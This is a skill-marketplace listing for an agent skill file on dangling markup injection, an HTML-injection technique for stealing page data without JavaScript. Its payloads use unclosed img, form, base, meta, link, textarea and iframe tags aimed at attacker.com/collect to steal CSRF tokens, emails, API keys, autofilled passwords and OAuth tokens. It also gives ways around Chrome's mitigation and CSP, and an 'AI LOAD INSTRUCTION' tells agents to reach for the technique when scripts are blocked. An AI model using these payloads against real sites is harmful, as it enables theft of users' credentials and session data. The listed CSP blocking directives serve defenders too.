yaklang/hack-skills1 file

Dangling Markup Injection

>-

Specification
Skill ID
yaklang/hack-skills/dangling-markup-injection
Publisher
yaklang
Repository
hack-skills
Installs
0
Files
1
Synced
Sep 23, 2026
How to use it

Open any RiverX project, open the Skills panel in the chat, and search for this identifier. The files are fetched from the source repository at install time.

yaklang/hack-skills/dangling-markup-injectionInstalls these files
  • SKILL.md

What this skill tells the agent

SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING

  • xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
  • csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
  • csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
  • crlf-injection when CRLF enables HTML injection in HTTP response
  • web-cache-deception when dangling markup + cache poisoning amplifies the attack

1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

  1. You have an HTML injection point (reflected or stored)
  2. JavaScript execution is blocked:
  • CSP blocks inline scripts and event handlers
  • Sanitizer strips <script>, onerror, onload, etc.
  • WAF blocks known XSS patterns
  1. The page contains sensitive data AFTER your injection point:
  • CSRF tokens
  • Pre-filled form values (email, username, API keys)
  • Session identifiers in hidden fields
  • Sensitive user content

Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.


2. CORE TECHNIQUE

Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.

Page before injection:
  <div>Hello USER_INPUT</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>

Injected payload:
  <img src="https://attacker.com/collect?

Resulting HTML:
  <div>Hello <img src="https://attacker.com/collect?</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>
  ...rest of page until next matching quote (")...

The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.


3. EXFILTRATION VECTORS

3.1 Image Tag (Most Common)

<!-- Double-quote context -->
<img src="https://attacker.com/collect?

<!-- Single-quote context -->
<img src='https://attacker.com/collect?

<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?

The browser sends a GET request to attacker.com with all consumed content as query parameters.

Blocked by: img-src CSP directive

3.2 Form Action Hijack

<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--

If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.

Blocked by: form-action CSP directive

Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.

3.3 Base Tag Hijack

<base href="https://attacker.com/">

All subsequent relative URLs on the page resolve to attacker's server:

  • <script src="/js/app.js"> → loads https://attacker.com/js/app.js
  • <a href="/profile"> → links to https://attacker.com/profile
  • <form action="/submit"> → submits to https://attacker.com/submit

Blocked by: base-uri CSP directive

3.4 Meta Refresh Redirect

<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?

Redirects the entire page to attacker's server with consumed page content in the URL.

Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.

3.5 Link/Stylesheet Exfiltration

<link rel="stylesheet" href="https://attacker.com/collect?

Browser requests the URL as a CSS resource, leaking consumed content.

Blocked by: style-src CSP directive

3.6 Table Background (Legacy)

<table background="https://attacker.com/collect?

Works in older browsers that support the background attribute on table elements.

Blocked by: img-src CSP directive

3.7 Video/Audio Poster

<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?

Blocked by: media-src / img-src CSP directives


4. WHAT CAN BE STOLEN

Target DataHow It Appears in PageSteal Technique
CSRF token<input type="hidden" name="csrf" value="...">Dangling <img src= before the form
Pre-filled email<input value="user@example.com">Dangling tag before the input
API keys in pagevar apiKey = "sk-..." in inline scriptDangling tag before the script block
Session ID in hidden field<input name="session" value="...">Dangling tag before the form
Auto-filled passwordsBrowser auto-fills password field<form action=attacker> with matching input names
OAuth state/tokensIn URL parameters or hidden form fieldsDangling tag on authorization page
Internal URLs/pathsLinks, script sources, API endpoints<base> tag hijack captures all relative URLs

5. BROWSER-SPECIFIC BEHAVIOR

BrowserBehavior
Chrome/ChromiumBlocks dangling markup in <img> src containing < or newlines (since Chrome 60). Still allows <form action>, <base>, <link>.
FirefoxMore permissive with dangling markup in image sources. Allows newlines in attribute values.
SafariSimilar to Chrome's restrictions. May handle some edge cases differently.
Edge (Chromium)Same as Chrome behavior.

Chrome Mitigation Detail

Chrome blocks navigation/resource load when the URL attribute value contains:

  • < character (indicates HTML tag consumption)
  • Newline characters (\n, \r)

Bypass: Use <form action> instead of <img src> — Chrome's block only targets specific tags.


6. ADVANCED TECHNIQUES

6.1 Selective Consumption

Choose quote type strategically: if page uses " for attributes, inject with ' (and vice versa) to precisely control where consumption stops.

6.2 Textarea + Form Combo

<form action="https://attacker.com/collect"><textarea name="data"> — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.

6.3 Comment / Style Dangling

  • <!-- without closing --> consumes all content (no exfil, but hides page content)
  • <style> unclosed treats page as CSS; combine with @import url("https://attacker.com/? for exfil

6.4 Window.name via iframe

<iframe src="https://target.com/page" name=" — name attribute consumes content, and window.name persists across origins after navigation.


7. LIMITATIONS

LimitationDetail
Same-origin content onlyDangling markup only captures content from the same HTTP response
Quote matchingConsumption stops at the next matching quote character — may not reach target data
CSP img-src/form-actionStrict CSP can block most exfiltration vectors
Chrome's dangling markup mitigationBlocks <img src= with < or newlines in URL

Use this skill in a project

Open any RiverX project, search the Skills panel for yaklang/hack-skills/dangling-markup-injection, and install it in one click.

Use this skill